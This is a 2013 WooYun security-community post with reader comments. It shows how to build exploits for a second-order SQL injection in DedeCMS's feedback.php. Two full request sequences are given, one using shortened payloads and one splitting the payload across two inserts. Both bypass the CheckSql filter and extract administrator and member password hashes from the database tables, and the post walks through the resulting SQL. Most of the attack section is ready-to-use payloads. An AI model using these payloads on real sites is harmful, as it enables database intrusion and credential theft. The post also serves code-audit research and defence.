当前位置:WooYun(白帽子技术社区) >> 代码审计 >> Dedecms 二次注入经典exp构造

Dedecms 二次注入经典exp构造

L.N. (http://ln.sycsec.com/) | 2013-05-03 22:57

0x01 前言

   Long long ago,[email protected]发现dedecms二次注入的一个经典代码审计中二次攻击的案例,但限于字段大小不能超过60字节而显得比较鸡肋,在safekeyer集体的智慧之下发现两种突破办法。
   此文重在exp的构造,如需详细漏洞分析,请看:WooYun: dedecms鸡肋级注入与细节分析过程

0x02 方法一:直接缩短法

理论:insert --> select -->insert -->select

Exp:
第一次insert

http://127.0.0.1/dede/plus/feedback.php
?action=send
&comtype=comments
&aid=1
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=slep
&title=1',"'",1,3,4,5,6,7,8,(select pwd from %23@__admin))%23
&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA

第二次insert
http://127.0.0.1/dede/plus/feedback.php
?action=send
&comtype=reply
&fid=27
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=angr
&title=1
&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA

看出我们第一次insert的payload是:

1',"'",1,3,4,5,6,7,8,(select pwd from %23@__admin))%23

数据库:
1.jpg

返回结果:
2.jpg

绕过具体代码分析:

function CheckSql($db_string,$querytype='select')
    {
        ·····(此处省略)
        while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
//echo $clean;exit();
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

        ····(此处省略)    
}


上述检测代码作用就是替换sql语句中两个引号之间的内容为$s$

第二次insert的sql:

INSERT INTO
`#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('1','0','test','1',"'",1,3,4,5,6,7,8,(select pwd from dede_admin))#','127.0.0.1','1','1367583435','2','0','0','feedback','6','asfsafsdaf')

经过上述处理:

INSERT INTO
`dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ($s$,$s$,$s$,$s$,"$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)

然后function CheckSql($db_string,$querytype='select')得检测绕过了。
重点在关于单引号的处理,用双引号引上单引号,使单引号作为字符串,单引号在绕过注入检测起了重要作用,又使之在完整的insert不能发挥单引号作用,只作为字符串。

0x03 方法二:两次插入结合法

理论:insert --> select -->insert -->select

Exp:
第一次insert

http://127.0.0.1/dede/plus/feedback.php
?action=send
&comtype=comments
&aid=1
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=slep
&title=1',(char(@`'`)),/*
&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA

第二次insert

http://127.0.0.1/dede/plus/feedback.php
?aid=1
&action=send
&comtype=reply
&fid=48
&isconfirm=yes
&validate=craf
&msg=*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23

通过两次insert向数据库中插入payload的不同部分,然后组合起来成为一个完整的payload

第一次插入:1',(char(@`'`)),/*
第二次插入:*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23

组成最后完整的语句:
INSERT INTO
`#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('1','0','test','1',(char(@`'`)),/*','127.0.0.1','1','1367591176','2','0','0','feedback','0','@`\'`*/,2,3,4,5,6,7,8,(selectconcat(userid,0x7c,pwd)from#@__admin))')

经过防注入函数处理:
insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,(char(@`$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)

完全没有问题绕过。

数据库:
3.png

返回结果:
4.png

0x03 结束语

如有错误希望指正,如有建议希望讨论。www.safekeyer.com

分享到:
  1. 1#
    回复此人 感谢
    狗样的男人 | 2013-05-03 23:05

    果断给跪了。。。。前排广告位,出售那啥狮子会17.2

  2. 2#
    回复此人 感谢
    cnrstar (Be My Personal Best!) | 2013-05-03 23:38

    牛逼~!顺便球楼上的17.2

  3. 3#
    回复此人 感谢
    z7y (小胖子首席鉴黄师) | 2013-05-04 00:19

    @狗样的男人 @cnrstar  1# 17.2 怎么没我份?

  4. 4#
    回复此人 感谢
    pangshenjie (whoami) | 2013-05-04 00:30

    @z7y @狗样的男人 @cnrstar 我是围观牛b的楼主的,顺便求17.2

  5. 5#
    回复此人 感谢
    z7y (小胖子首席鉴黄师) | 2013-05-04 00:36

    @L.N.   没有评论权限这个肿么办?

  6. 6#
    回复此人 感谢
    L.N. (http://ln.sycsec.com/) | 2013-05-04 01:22

    @z7y 没有评论权限=>没有地方插入=>观摩学习17.2=>掌握降龙十八插

  7. 7#
    回复此人 感谢
    z7y (小胖子首席鉴黄师) | 2013-05-04 01:41

    @L.N. - -你赢了!

  8. 8#
    回复此人 感谢
    wefgod (求大牛指点) | 2013-05-04 03:34

    这个好像之前有看见过。洞主有发其它地方?

  9. 9#
    回复此人 感谢
    wefgod (求大牛指点) | 2013-05-04 03:35

    哦哦好像内容不一样

  10. 10#
    回复此人 感谢
    杀戮 (有事请 at 大号园长) | 2013-05-04 12:13

    @L.N.  就说着阵子没看见你 原来来这霸气侧漏了

  11. 11#
    回复此人 感谢
    Yaseng (看黄片 到 www.yaseng.org) | 2013-05-05 10:50

    nice

  12. 12#
    回复此人 感谢
    mOon (我是一只草泥马 草泥马) | 2013-05-05 12:00

    霸气来袭 楼主一直是俺膜拜的对象

  13. 13#
    回复此人 感谢
    小鸡鸡 | 2013-05-16 14:17

    完整的url+exp是啥啊。QQ截图20130516141716.png这个最新的是什么啊

  14. 14#
    回复此人 感谢
    kafeivests | 2013-05-30 20:48

    @小鸡鸡 那个不是最新的

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录